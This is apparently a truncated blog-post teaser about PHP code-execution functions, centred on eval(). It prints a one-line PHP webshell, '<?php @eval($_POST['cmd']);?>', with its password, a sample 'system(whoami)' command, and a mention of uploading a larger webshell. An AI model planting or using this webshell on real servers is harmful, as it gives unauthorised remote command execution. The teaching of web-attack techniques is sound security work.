Code Execution and Command Execution Functions in PHP

Code Execution Functions in PHP 1. eval() Function Usage: The passed argument must be PHP code ending with a semicolon. Command execution: cmd=system(whoami); Webshell password: cmd <?php @eval($_POST['cmd']);?> When you cannot connect to the webshell, you can use the following file upload script to upload a larger webshell. First, cr ...

Posted on Mon, 03 Aug 2026 16:47:37 +0000 by nati